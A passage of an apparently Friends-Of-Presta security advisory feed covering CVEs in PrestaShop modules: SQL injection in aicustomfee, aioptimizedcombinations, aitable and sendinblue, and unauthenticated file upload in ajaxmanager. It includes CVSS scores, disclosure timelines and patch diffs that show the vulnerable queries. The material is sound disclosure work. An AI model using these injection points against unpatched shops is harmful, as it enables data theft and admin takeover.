  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-02-15</td>
      <td>Author provide a patch which still own all criticals vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Recontact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-24</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/themes-electronique-high-tech/29992-electron-mega-electronique-high-tech-store.html">PrestaShop addons product page</a></li>
  <li><a href="https://themevolty.com/electron-mega-electronic-store">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39652">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Vitalyn.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Theme Volty Video Tab” (tvcmsvideotab) up to version 4.0.0 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-33663] Improper neutralization of a SQL parameter in aicustomfee from ai-dev module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/16/aicustomfee.html" rel="alternate" type="text/html" title="[CVE-2023-33663] Improper neutralization of a SQL parameter in aicustomfee from ai-dev module for PrestaShop" /><published>2023-08-16T00:00:00+00:00</published><updated>2023-08-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/16/aicustomfee</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/16/aicustomfee.html"><![CDATA[<p>In the module “Customization fields fee for your store” (aicustomfee) for PrestaShop, an attacker can perform SQL injection up to 0.2.0. Release 0.2.1 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33663">CVE-2023-33663</a></li>
  <li><strong>Published at</strong>: 2023-08-16</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: aicustomfee</li>
  <li><strong>Impacted release</strong>: &lt; 0.2.1 (0.2.1 fixed issue)</li>
  <li><strong>Product author</strong>: ai-dev / @ide-info</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 0.2.1, sensitives SQL calls in file <code class="language-plaintext highlighter-rouge">includes/ajax.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">data</code> and <code class="language-plaintext highlighter-rouge">product</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/aicustomfee/includes/ajax.php
</span><span class="gi">+++ b/modules/aicustomfee/includes/ajax.php
</span><span class="p">switch (Tools::getValue('action')) {
</span>    case 'cloneCombination':
        if (!($data = Tools::getValue('data')) || !($combination = Tools::getValue('combination')) || !($product = Tools::getValue('product'))) {
            die();
        }
            
        $data = explode('|', $data);
<span class="gi">+       $data = array_map('intval', $data);
</span>        $result = Db::getInstance()-&gt;getRow(
            'SELECT COUNT(id_product_attribute) AS number, id_product_attribute FROM '._DB_PREFIX_.'product_attribute_combination WHERE id_attribute IN ('.implode(',', $data).') GROUP BY id_product_attribute HAVING number = '.count($data)
        );
        
<span class="gd">--- a/modules/aicustomfee/includes/functions.php
</span><span class="gi">+++ b/modules/aicustomfee/includes/functions.php
</span>    public function createCombination($product, $old_combination, $data) 
    {
        //    Add for Prestashop 1.5 version and above
        if ((float)Tools::substr(_PS_VERSION_, 0, 3) &gt;= 1.5) {
            $shop_id = (int)Shop::getContextShopGroupID();
        }
<span class="gi">+       $product = (int) $product;
+       $old_combination = (int) $old_combination;
+       $data = array_map('intval', $data);
</span>        //    Get the product data
        $product_data = Db::getInstance()-&gt;getRow('SELECT * FROM '._DB_PREFIX_.'product WHERE id_product = '.$product);
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-08</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-05-10</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>The author confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-16</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.boutique.ai-dev.fr/en/customization/62-customization-fee.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33663">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Customization fields fee for your store” (aicustomfee) for PrestaShop, an attacker can perform SQL injection up to 0.2.0. Release 0.2.1 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-33666] Improper neutralization of a SQL parameter in aioptimizedcombinations from ai-dev module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/03/aioptimizedcombinations.html" rel="alternate" type="text/html" title="[CVE-2023-33666] Improper neutralization of a SQL parameter in aioptimizedcombinations from ai-dev module for PrestaShop" /><published>2023-08-03T00:00:00+00:00</published><updated>2023-08-03T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/03/aioptimizedcombinations</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/03/aioptimizedcombinations.html"><![CDATA[<p>In the module “Opimized combinations” (aioptimizedcombinations) for PrestaShop, an attacker can perform a SQL injection up to 0.1.2. Release 0.1.3 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33666">CVE-2023-33666</a></li>
  <li><strong>Published at</strong>: 2023-08-03</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: aioptimizedcombinations</li>
  <li><strong>Impacted release</strong>: &lt;= 0.1.2 (0.1.3 fixed issue)</li>
  <li><strong>Product author</strong>: ai-dev</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 0.1.3, a sensitive SQL call in file <code class="language-plaintext highlighter-rouge">includes/ajax.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">attributes</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/aioptimizedcombinations/includes/ajax.php
</span><span class="gi">+++ b/modules/aioptimizedcombinations/includes/ajax.php
</span><span class="p">switch (Tools::getValue('action'))
</span><span class="err">{</span>
	case 'getCombination' :
		/* If no product or combination, we quit */
		if (!Tools::getIsset('product') || !Tools::getIsset('attributes'))
			die();

		$attributes = explode(',', Tools::getValue('attributes'));
		
		/* Get combination id */
		$combination_data = Db::getInstance()-&gt;getRow(
			'SELECT COUNT(*) as number, pa.id_product_attribute FROM '._DB_PREFIX_.'product_attribute AS pa LEFT JOIN '._DB_PREFIX_.'product_attribute_combination AS pac ON pa.id_product_attribute = pac.id_product_attribute WHERE pa.id_product = '.
<span class="gd">-			(int)Tools::getValue('product').' AND pac.id_attribute IN ('.pSQL(Tools::getValue('attributes')).') GROUP BY pa.id_product_attribute HAVING number = '.count($attributes)
</span><span class="gi">+			(int)Tools::getValue('product').' AND pac.id_attribute IN ('.implode(',', array_map('intval', explode(',', Tools::getValue('attributes')))).') GROUP BY pa.id_product_attribute HAVING number = '.count($attributes)
</span>		);
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-08</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-05-10</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>The author confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-03</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.boutique.ai-dev.fr/en/ergonomie/59-optimized-combinations.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33666">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opimized combinations” (aioptimizedcombinations) for PrestaShop, an attacker can perform a SQL injection up to 0.1.2. Release 0.1.3 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-33665] Improper neutralization of a SQL parameter in aitable from ai-dev module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/08/01/aitable.html" rel="alternate" type="text/html" title="[CVE-2023-33665] Improper neutralization of a SQL parameter in aitable from ai-dev module for PrestaShop" /><published>2023-08-01T00:00:00+00:00</published><updated>2023-08-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/08/01/aitable</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/08/01/aitable.html"><![CDATA[<p>In the module “Attributes table” (aitable) for PrestaShop, an attacker can perform a SQL injection up to 0.2.1. Release 0.2.2 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33665">CVE-2023-33665</a></li>
  <li><strong>Published at</strong>: 2023-08-01</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: aitable</li>
  <li><strong>Impacted release</strong>: &lt;= 0.2.1 (0.2.2 fixed issue)</li>
  <li><strong>Product author</strong>: ai-dev</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 0.2.2, a sensitive SQL call in file <code class="language-plaintext highlighter-rouge">includes/ajax.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">attributes</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/aitable/includes/ajax.php
</span><span class="gi">+++ b/modules/aitable/includes/ajax.php
</span>        $data = array();
        foreach ($lines as $line) {
            foreach ($columns as $col) {
                $result = Db::getInstance()-&gt;getRow(
                    'SELECT COUNT(pac.id_product_attribute) AS count, pa.* FROM '._DB_PREFIX_.'product_attribute AS pa LEFT JOIN '._DB_PREFIX_.'product_attribute_combination AS pac ON pac.id_product_attribute = pa.id_product_attribute WHERE '.
<span class="gd">-                    'pac.id_attribute IN ('.pSql($attributes).','.(int)$line['id_attribute'].','.(int)$col['id_attribute'].') AND pa.id_product = '.(int)$product_id.' GROUP BY pa.id_product_attribute HAVING count = '.(int)$count
</span><span class="gi">+                    'pac.id_attribute IN ('.implode(',', array_map('intval', explode(',', $attributes))).','.(int)$line['id_attribute'].','.(int)$col['id_attribute'].') AND pa.id_product = '.(int)$product_id.' GROUP BY pa.id_product_attribute HAVING count = '.(int)$count
</span>                );
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-08</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-05-10</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>The author confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-05-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-01</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.boutique.ai-dev.fr/en/ergonomie/56-table-attributes.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33665">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Attributes table” (aitable) for PrestaShop, an attacker can perform a SQL injection up to 0.2.1. Release 0.2.2 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-33493] Unrestricted Upload of File with Dangerous Type in the Ajaxmanager File and Database explorer (ajaxmanager) module from RSI for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/07/28/ajaxmanager.html" rel="alternate" type="text/html" title="[CVE-2023-33493] Unrestricted Upload of File with Dangerous Type in the Ajaxmanager File and Database explorer (ajaxmanager) module from RSI for PrestaShop" /><published>2023-07-28T00:00:00+00:00</published><updated>2023-07-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/07/28/ajaxmanager</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/07/28/ajaxmanager.html"><![CDATA[<p>An “Unrestricted Upload of File with Dangerous Type” vulnerability exists in the Ajaxmanager File and Database explorer (ajaxmanager) module, from RSI, for PrestaShop,  in all versions (including the latest version 2.3.0). This allows remote attackers to upload dangerous files without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33493">CVE-2023-33493</a></li>
  <li><strong>Published at</strong>: 2023-07-28</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ajaxmanager</li>
  <li><strong>Impacted release</strong>: All versions (No fix provided. Still vulnerable in the latest version 2.3.0)</li>
  <li><strong>Product author</strong>: RSI</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the Ajaxmanager File and Database explorer (ajaxmanager) module for PrestaShop, remote attackers can access a file explorer without being logged in, enabling upload view and deletion of files. The file explorer tool is also providing access to a shell console, port scan and server information. Disabling or uninstalling the module does not remove access to the tool. The issue is not fixed in the latest version.</p>

<p>It should be noted that the module provides users the ability to set a password to restrict access to the tool. However, the password is giving no protection. A bug allows users to access the file explorer without having to provide the password.</p>

<p>This vulnerability has been successfully reproduced in versions 2.1.0, 2.2.0 and 2.3.0 (the last version to date). We believe that the issue also existed in previous versions.</p>

<p><strong>WARNING</strong>: Disabling or uninstalling the module will not stop the vulnerability from being exploited. You must delete it completely.</p>

<p>Be warned that other modules from this creator are actively scanned, and this one will probably be exploited soon.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Removing and altering files (without malware injection)</li>
  <li>Removing and altering data in the database (without malware injection)</li>
  <li>Obtaining database password and cookie key (without malware injection)</li>
  <li>Uploading malwares to the website</li>
  <li>Obtaining complete admin access to the website</li>
</ul>

<h2 id="patch">Patch</h2>

<p>This module contains multiple functional and technical vulnerabilities. No patch can be applied without redeveloping most of the module to introduce an authentication system.</p>

<p>Also, even with a proper authentication system, due to the nature of the module, its usage alone can qualify it as a backdoor. As this module is not essential for PrestaShop, it’s recommended to uninstall the module (and to remove the module’s files).</p>

<p>Make sure that the following directory is removed after uninstalling the module : <code class="language-plaintext highlighter-rouge">/modules/ajaxmanager/</code></p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-29</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2023-03-29</td>
      <td>Security issue reported to the author, in addons support platform</td>
    </tr>
    <tr>
      <td>2023-03-31</td>
      <td>The author did not confirm the issue</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>Release additional details to the author to reproduce the issue</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>The author confirmed the issue</td>
    </tr>
    <tr>
      <td>2023-04-11</td>
      <td>Request for a patch and offer a security audit to the author</td>
    </tr>
    <tr>
      <td>2023-04-11</td>
      <td>Author didn’t submit a patch and wasn’t able to confirm impacted versions</td>
    </tr>
    <tr>
      <td>2023-04-12</td>
      <td>Contact again the Author, requesting a patch</td>
    </tr>
    <tr>
      <td>2023-04-19</td>
      <td>Author didn’t submit a patch and wasn’t able to confirm impacted versions</td>
    </tr>
    <tr>
      <td>2023-05-06</td>
      <td>Contact again the Author with more details, requesting a patch</td>
    </tr>
    <tr>
      <td>2023-05-09</td>
      <td>Author didn’t submit a patch and wasn’t able to confirm impacted versions</td>
    </tr>
    <tr>
      <td>2023-06-07</td>
      <td>Received a CVE ID From MITRE</td>
    </tr>
    <tr>
      <td>2023-06-15</td>
      <td>Module removed from Addons platform (without patch available)</td>
    </tr>
    <tr>
      <td>2023-07-28</td>
      <td>Publication of the CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/administrative-tools/5815-ajax-file-database-manager.html#specifications">Ajaxmanager File and Database explorer (ajaxmanager) Module - (Module currently disabled)</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33493">National Vulnerability Database CVE-2023-33493</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[An “Unrestricted Upload of File with Dangerous Type” vulnerability exists in the Ajaxmanager File and Database explorer (ajaxmanager) module, from RSI, for PrestaShop, in all versions (including the latest version 2.3.0). This allows remote attackers to upload dangerous files without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-26859] Multiple improper neutralizations of an SQL parameters in Sendinblue module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/07/25/sendinblue.html" rel="alternate" type="text/html" title="[CVE-2023-26859] Multiple improper neutralizations of an SQL parameters in Sendinblue module for PrestaShop" /><published>2023-07-25T00:00:00+00:00</published><updated>2023-07-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/07/25/sendinblue</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/07/25/sendinblue.html"><![CDATA[<p>In the module “Sendinblue - All-in-one marketing tool” (sendinblue) up to versions 4.0.14 from Sendinblue for PrestaShop, an anonymous user can perform SQL injection in affected versions if double optin is enabled. 4.0.15 fixed vulnerabilities.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26859">CVE-2023-26859</a></li>
  <li><strong>Published at</strong>: 2023-07-25</li>
  <li><strong>Advisory source</strong>: Friends-of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: sendinblue</li>
  <li><strong>Impacted release</strong>: &lt;= 4.0.14 (4.0.15 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Sendinblue</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>In sendinblue module for PrestaShop up to 4.0.14, a sensitive SQL call on <code class="language-plaintext highlighter-rouge">ajaxOrderTracking.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught for instance the POST or GET submitted <code class="language-plaintext highlighter-rouge">id_shop_group</code> variable if the double optin option is set.</p>

<p><strong>WARNING</strong> : be warn that this module construct its token on PS_SHOP_NAME which is a bad practice since we have at least one other module in the ecosystem which expose this token on front. This is why we consider “Privilege required” to NONE instead of LOW.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: high</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">Patch</h2>

